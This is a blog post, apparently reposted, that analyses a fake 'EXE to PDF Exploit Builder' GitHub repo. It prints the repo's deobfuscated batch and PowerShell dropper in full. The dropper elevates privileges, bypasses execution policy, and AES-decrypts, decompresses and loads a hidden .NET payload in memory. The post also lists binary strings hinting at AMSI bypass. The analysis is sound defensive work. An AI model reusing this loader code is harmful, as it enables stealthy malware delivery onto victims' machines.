Analyzing Simple Powershell Malware

This article was originally published at https://ayedaemon.github.io and has been reposted here via automated scripts. For better formatting, read original post here -> https://ayedaemon.github.io/post/2022/08/analyzing-simple-powershell-malware/.

What is a malware?

Malware, a portmanteu meaning malicious software, refers to any program that was created with the specific goal of doing harm. Your digital environment is vulnerable to a variety of terrible things, including attempts to compromise your computer or network, leak confidential data, and gain illegal access. These issues can occasionally be brought on by common software defects, but when malware is to blame, it poses a major risk to online users and businesses.

Yes, a virus is a malware.. Malware is an umbrella term, with virus being just one of types among many others.

Common obfuscation techniques?

Obfuscation is a software engineering technique used by hackers and security teams mainly to conceal the written code. There are different motivations to use obfuscation, but their aim is the same — to make the source code unintelligible, difficult to comprehend, and interpret.

Few of the common obfuscatons techniques involve

  • Dead-code insertion
  • Code flow obfuscation
  • Variable renaming
  • String encryption
  • etc..

Journey begins!

I always like trying out new tools and understanding how they work behind the scenes. And about time I got my eyes on a github repo that said EXE TO PDF Exploit Builder.

This was enough to make me open the repo and look more into it. 😁

Lucifer on github

This repo was owned by Luci441... But for some reasons this looked suspecious to me.

  1. The account is only few days old.
  2. The owner claims to be the owner of Hackforums.
  3. And it only had 6 followers…. Hackforum twitter account had 11.2K Followers at the time of writing this blog.

Anyways, I was more interested into looking how that EXE to PDF program worked. So I moved directly to the repo and looked at the source code. The README contained something that made me more suspecious…

Why make such a tool obfuscated?? Why no VMs supported?? Who makes such a tool and intentionally make it unusable in VMs?

And there is no how to get started section with this tool so I’ll have to read the code and understand it. Good heavens… Finally I got started with the ExploitBuilder.bat file to read the source code.

There are a lot of things that raise doubt, but that’s not what why you are here. Are you?

Simplifying initial payload

After taking a look at all the files inside the repo, it was safe to assume that there was absolutely no need of the C header files (.h files). This was just to make everything a bit more convincing.

First thing first, I forked the repo and removed all the extra files. The forked repo can be found here -> https://github.com/ayedaemon/Exe-to-pdf. Interestingly, there was a Pull Request to the original repo that mentioned about the malware it contained. But I won’t talk about it and ruin the journey ;)

Most interesting file in the whole repo was the batchfile and it was obfuscated. The whole thing was divided into multiple variables and then the complete command was constructed at runtime by concatinating those jumbled strings. I gotta admit there is a lot one can do with strings nowadays.

I cleaned most of the lines with sed and then printed them with python. Maybe there is a faster and better way to clean it.. I'll be happy to hear if you have any alternative ways to do it easily.

Here is the python notebook that shows the initial deobfuscation. → https://github.com/ayedaemon/Exe-to-pdf/blob/main/notebook.ipynb

After this, I had the clean payload that was much much easier to read. Here is the clean payload → https://github.com/ayedaemon/Exe-to-pdf/blob/main/clean_payload.txt

@echo off
net file
if not %errorlevel%==0 ( powershell -noprofile -ep bypass -command Start-Process -FilePath '%0' -ArgumentList '%cd%' -Verb runas & exit /b )
cd /d %1
copy C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe /y %~dp0%~nx0.exe'
cls
cd %~dp0
%~nx0.exe -noprofile -windowstyle hidden -ep bypass -command $eaqcw = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);foreach ($VtoBl in $eaqcw) { if ($VtoBl.StartsWith(':: ')) { $BMjJe = $VtoBl.Substring(3); break; }; };$VGGCQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($BMjJe);$hbvqO = New-Object System.Security.Cryptography.AesManaged;$hbvqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$hbvqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$hbvqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wYPqphQqHyVIeW2CaPqkTUCy/0ecJs6agKij7Q3HRY4=');$hbvqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E55hmIoW8UIQx1ajzTvfAA==');$CfOAS = $hbvqO.CreateDecryptor();$VGGCQ = $CfOAS.TransformFinalBlock($VGGCQ, 0, $VGGCQ.Length);$CfOAS.Dispose();$hbvqO.Dispose();$YVjlv = New-Object System.IO.MemoryStream(, $VGGCQ);$iJFSw = New-Object System.IO.MemoryStream;$uwkaq = New-Object System.IO.Compression.GZipStream($YVjlv, [IO.Compression.CompressionMode]::Decompress);$uwkaq.CopyTo($iJFSw);$uwkaq.Dispose();$YVjlv.Dispose();$iJFSw.Dispose();$VGGCQ = $iJFSw.ToArray();$WtHIs = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($VGGCQ);$iFZWS = $WtHIs.EntryPoint;$iFZWS.Invoke($null, (, [string[]] ('%*')))
exit /b

Let’s try and understand this script line by line… just like an interpreter 😉

  • @echo off prevents the prompt and contents of the batch file from being displayed, so that only the output is visible. The @ makes the output of the echo off command hidden as well. If you are into bad things or preventing bad things to happen - this is like a defacto starting command for all batch scripts.
  • net file without any extra argumnents this displays all the open shared files on a server and the lock-ids (if any). I'm not completely sure why this is used but anyways
  • Then it checks errorlevel, it is not 0 then it'll run some powershell command. I'm not very good with windows and it's tools at this point but it is very clear that is executing something with -ep bypass to prevent any warnings or prompts. Sus it is, isn't it?
  • After changing directory (where it can put all his mess, without being sus), it copies the powershell binary and saves it with another name.
  • Clears the screen to remove all the output generated. Above tasks will be in a flash and you probably will just see a blink on terminal if you have Veronica Seider’s Super Power. Bad Joke, I know.
  • Eventually, it’ll use the copied & renamed powershell to run some -command with -ep bypass flag. After a bit of google-fu I got to know about few common techniques used to bypass powershell execution policy. I found this blog ^1 concise and helpful for the same topic.

de-obfuscating powershell

I copied the powershell -command to another file, just to make more sense of it. And it looked better than before.

$eaqcw = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('%~f0').Split([Environment]::NewLine);

foreach ($VtoBl in $eaqcw) {
if ($VtoBl.StartsWith(':: ')) {
$BMjJe = $VtoBl.Substring(3);
break;
};
};
$VGGCQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($BMjJe);
$hbvqO = New-Object System.Security.Cryptography.AesManaged;
$hbvqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$hbvqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$hbvqO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wYPqphQqHyVIeW2CaPqkTUCy/0ecJs6agKij7Q3HRY4=');
$hbvqO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E55hmIoW8UIQx1ajzTvfAA==');
$CfOAS = $hbvqO.CreateDecryptor();
$VGGCQ = $CfOAS.TransformFinalBlock($VGGCQ, 0, $VGGCQ.Length);
$CfOAS.Dispose();
$hbvqO.Dispose();
$YVjlv = New-Object System.IO.MemoryStream(, $VGGCQ);
$iJFSw = New-Object System.IO.MemoryStream;
$uwkaq = New-Object System.IO.Compression.GZipStream($YVjlv, [IO.Compression.CompressionMode]::Decompress);
$uwkaq.CopyTo($iJFSw);
$uwkaq.Dispose();
$YVjlv.Dispose();
$iJFSw.Dispose();
$VGGCQ = $iJFSw.ToArray();
$WtHIs = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($VGGCQ);
$iFZWS = $WtHIs.EntryPoint;
$iFZWS.Invoke($null, (, [string[]] ('%*')))

If I did not mention this earlier, I’m not good with windows OS and powershell scripting, but with decent knowledge about programming/scripting languages and a text editor of choice, it was not so hard to make this code understandable. De-obfuscated file can be found on github here -> https://github.com/ayedaemon/Exe-to-pdf/blob/main/powershell_command_deobfuscated.txt

## Read the initial payload file
$payload = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('/ExploitBuilder.bat').Split([Environment]::NewLine);

## Get the line starting with `:: `; This also acts as the comment in batch scripting
foreach ($each_line in $payload) {
if ($each_line.StartsWith(':: ')) {
$comment_line = $each_line.Substring(3);
break;
};
};

## Decode the comment line with "Military grade AES encryption"
$decoded_comment_line = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($comment_line);
$cryptObj = New-Object System.Security.Cryptography.AesManaged;
$cryptObj.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$cryptObj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$cryptObj.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wYPqphQqHyVIeW2CaPqkTUCy/0ecJs6agKij7Q3HRY4=');
$cryptObj.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E55hmIoW8UIQx1ajzTvfAA==');
$decryptObj = $cryptObj.CreateDecryptor();
$decrypted_comment_line = $decryptObj.TransformFinalBlock($decoded_comment_line, 0, $decoded_comment_line.Length);
$decryptObj.Dispose();
$cryptObj.Dispose();

## Shuffle the data throught memory streams and decompress it (gzip decompression)
$decrypted_stream = New-Object System.IO.MemoryStream(, $decrypted_comment_line);
$extra_stream = New-Object System.IO.MemoryStream;
$ungzip_decrypted_stream = New-Object System.IO.Compression.GZipStream($decrypted_stream, [IO.Compression.CompressionMode]::Decompress);
$ungzip_decrypted_stream.CopyTo($extra_stream);
$ungzip_decrypted_stream.Dispose();
$decrypted_stream.Dispose();
$extra_stream.Dispose();

## Load the final binary and execute it
$asm = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($decrypted_array);
$asm_entrypoint = $asm.EntryPoint;
$asm_entrypoint.Invoke($null, (, [string[]] ('%*')))

There are tons of obfuscation techniques that can be used by a hacker or a professional, but the final goal is common — To make it harder to read and interpret. Here is a blog by Offensive-Security on powershell obfuscation ^2 that helped me to gain knowledge about how powershell malwares are usually obfuscated.

This malware specifically used some good techniques:-

  • changing the variable names to random characters
  • String reversal techniques for powershell commands.
  • Key based cryptography to encrypt the malicious payload.
  • Compressing the payload to prevent detection
  • Decompressing in memory streams to make it somewhat fileless and hard to detect.

…but the method employed to hide the payload in comments actually astounded me.

Windows EXE file

There were several steps within a single line powershell command, that were eventually loading and executing the actual malware. Instead of writing my own functions to reverse engineer everything the author has done, I took the lazy approach and let his code do most of the work…and just before the loading & execution segment, I dumped the binary. 🤭

## Dump exe file before loading and executing
$result = [System.Text.Encoding]::UTF8.GetString($extra_stream.ToArray())
$result > extra_stream.exe.txt

How I know it is an EXE file? …Simply by looking at the magic numbers of the obtained file

All the obfuscation, just to make sure that this exe file gets executed. 🤦 Well, now it's time to analyze the binary file we just extracted and see if we can figure out the truth about this EXE-to-pdf program. For this, I quickly launched up radare2 ^3 in another terminal and started analysing the file. Why Radare2?? I prefer stayting in the terminal...And it is an amazing tool :)

What does all Reverse Engineering 101 books say?? — grab some basic info about the binary file and dump all strings to support the existing hypothesis and build on it.

So I did that..

Basic info

file     extra_stream.exe.txt
size 0x409f
humansz 16.2K
minopsz 1
maxopsz 16
invopsz 1
mode r-x
format any
iorw false
block 0x100

Strings (omitted)

211 0x0000271a 0x0000271a 20  21           ascii   BJEtuQtQCkWlpTOkRPdJ
212 0x0000272f 0x0000272f 20 21 ascii OzLDUBlAcSBIOPOJLBlh
213 0x00002744 0x00002744 20 21 ascii BDltEFgkoicgcKNaARhF
214 0x00002759 0x00002759 20 21 ascii QvYrospzbuUnUAXNVABe
215 0x0000276e 0x0000276e 20 21 ascii joIOHkxVlAiZHoYgFUel


316 0x00002ce8 0x00002ce8 14 15 ascii RuntimeHelpers
317 0x00002cf7 0x00002cf7 5 6 ascii Array
318 0x00002cfd 0x00002cfd 18 19 ascii RuntimeFieldHandle
319 0x00002d10 0x00002d10 15 16 ascii InitializeArray
320 0x00002d20 0x00002d20 19 20 ascii $$method0x6000003-2
321 0x00002d34 0x00002d34 7 8 ascii UIntPtr
322 0x00002d3c 0x00002d3c 11 12 ascii op_Explicit
323 0x00002d48 0x00002d48 4 5 ascii Copy
324 0x00002d4d 0x00002d4d 17 18 ascii System.Reflection
325 0x00002d5f 0x00002d5f 8 9 ascii Assembly
326 0x00002d68 0x00002d68 20 21 ascii GetExecutingAssembly
327 0x00002d7d 0x00002d7d 24 25 ascii GetManifestResourceNames
328 0x00002d96 0x00002d96 13 14 ascii WriteAllBytes
329 0x00002da4 0x00002da4 16 17 ascii System.Threading
330 0x00002db5 0x00002db5 11 12 ascii ThreadStart
331 0x00002dc1 0x00002dc1 6 7 ascii Thread
332 0x00002dc8 0x00002dc8 4 5 ascii Char
333 0x00002dcd 0x00002dcd 5 6 ascii Split
334 0x00002dd3 0x00002dd3 4 5 ascii Load
335 0x00002dd8 0x00002dd8 10 11 ascii MethodInfo
336 0x00002de3 0x00002de3 14 15 ascii get_EntryPoint
337 0x00002df2 0x00002df2 10 11 ascii MethodBase
338 0x00002dfd 0x00002dfd 16 17 ascii ProcessStartInfo
339 0x00002e0e 0x00002e0e 6 7 ascii Concat
340 0x00002e15 0x00002e15 13 14 ascii set_Arguments
341 0x00002e23 0x00002e23 18 19 ascii ProcessWindowStyle
342 0x00002e36 0x00002e36 15 16 ascii set_WindowStyle
343 0x00002e46 0x00002e46 18 19 ascii set_CreateNoWindow
344 0x00002e59 0x00002e59 12 13 ascii set_FileName
345 0x00002e66 0x00002e66 11 12 ascii System.Core
346 0x00002e72 0x00002e72 28 29 ascii System.Security.Cryptography
347 0x00002e8f 0x00002e8f 10 11 ascii AesManaged
348 0x00002e9a 0x00002e9a 18 19 ascii SymmetricAlgorithm
349 0x00002ead 0x00002ead 10 11 ascii CipherMode
350 0x00002eb8 0x00002eb8 8 9 ascii set_Mode
351 0x00002ec1 0x00002ec1 11 12 ascii PaddingMode
352 0x00002ecd 0x00002ecd 11 12 ascii set_Padding
353 0x00002ed9 0x00002ed9 16 17 ascii ICryptoTransform
354 0x00002eea 0x00002eea 15 16 ascii CreateDecryptor
355 0x00002efa 0x00002efa 19 20 ascii TransformFinalBlock
356 0x00002f0e 0x00002f0e 12 13 ascii MemoryStream
357 0x00002f1b 0x00002f1b 21 22 ascii System.IO.Compression
358 0x00002f31 0x00002f31 10 11 ascii GZipStream
359 0x00002f3c 0x00002f3c 6 7 ascii Stream
360 0x00002f43 0x00002f43 15 16 ascii CompressionMode
361 0x00002f53 0x00002f53 6 7 ascii CopyTo
362 0x00002f5a 0x00002f5a 7 8 ascii ToArray
363 0x00002f62 0x00002f62 25 26 ascii GetManifestResourceStream
364 0x00002f7c 0x00002f7c 11 12 ascii payload.exe
365 0x00002f8a 0x00002f8a 34 69 utf16le Select * from Win32_ComputerSystem


373 0x00003070 0x00003070 44 89 utf16le Ok++WI0tak7DdF3uV9x+8O7wJaTIlfxMVTMno9KXut4=
374 0x000030ca 0x000030ca 44 90 utf16le +uLTyyminmCZeXdFSCeWyXEOtzicLz4HHy5dikdWUWc=
375 0x00003124 0x00003124 24 49 utf16le WTltvoM17r/Ehimm8ynucg==
376 0x00003156 0x00003156 44 89 utf16le amZLVSQJiUQKj6Rv/kTQ8kyn+kGd0mUv6VK0wS/w3/E=
377 0x000031b0 0x000031b0 14 29 utf16le VirtualProtect
378 0x000031ce 0x000031ce 8 18 utf16le amsi.dll
379 0x000031e0 0x000031e0 24 49 utf16le WG/Dged0cIrjNUQv5M9ONw==
380 0x00003212 0x00003212 9 20 utf16le ntdll.dll
381 0x00003226 0x00003226 24 50 utf16le KMgwS70BP93VTwRv09KJTQ==
382 0x00003258 0x00003258 24 50 utf16le ZoHIhlSGD8rN6cc5D8M/MA==
383 0x0000328a 0x0000328a 24 49 utf16le shwnMnkYp+bePn1r9fIgQg==
384 0x000032c3 0x000032c3 63 127 utf16le MNbxejM5jxzm3r5TKG6sPhlK6QF/D8w6/aOC8lz9bfMr26dy72cAJCSoDcBoN3Q
385 0x00003343 0x00003343 9 19 utf16le " & del "
386 0x0000335b 0x0000335b 7 16 utf16le cmd.exe

There are base64 encoded strings, interesting function calls and interesting strings in this binary, which I can look up and figure out what this file does. It will be so easy!!

But to my surprise, it was not at all easy… Or maybe I’m just not worthy yet.

  • All the base64 strings are not readable. Although I’ve a feeling that these strings are used in similar fashion as they were used in previous powershell payload.
  • Even after looking in the memory area where the intriguing strings are pointed, I was unable to find anything that made sense to me.
[0x00002f70]> pd 20
; CODE XREF from fcn.00000000 @ +0x2f01
0x00002f70 6f outsd dx, dword [rsi]
┌─< 0x00002f71 7572 jne 0x2fe5
│ 0x00002f73 636553 movsxd rsp, dword [rbp + 0x53]
┌──< 0x00002f76 7472 je 0x2fea
││ 0x00002f78 65 invalid
││ 0x00002f79 61 invalid
││ 0x00002f7a 6d insd dword [rdi], dx
││ 0x00002f7b 007061 add byte [rax + 0x61], dh
┌───< 0x00002f7e 796c jns 0x2fec
│││ 0x00002f80 6f outsd dx, dword [rsi]
│││ 0x00002f81 61 invalid
┌────< 0x00002f82 642e657865 js 0x2fec
││││ 0x00002f87 0000 add byte [rax], al
││││ ; CODE XREFS from fcn.00000000 @ +0x2f15, +0x2f34
││││ 0x00002f89 4553 push r11
││││ 0x00002f8b 006500 add byte [rbp], ah
││││ 0x00002f8e 6c insb byte [rdi], dx
││││ 0x00002f8f 006500 add byte [rbp], ah
││││ 0x00002f92 6300 movsxd rax, dword [rax]
┌─────< 0x00002f94 7400 je 0x2f96
│││││ ; CODE XREF from fcn.00000000 @ +0x2f94
└─────> 0x00002f96 2000 and byte [rax], al

Then I looked at the color patterns to figure out if it had repeated patterns… I could then take it as a sign that this binary is itself encoded.

Next Steps?

There are numerous indicators right now that point to the possibility that this is malware, but who am I to judge? (based on what I currently understand about Windows malware analysis)

For now, I just have a few leads to pursue, but maybe in the future I’ll figure it all the way down and find out exactly what this program does. Till then…

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store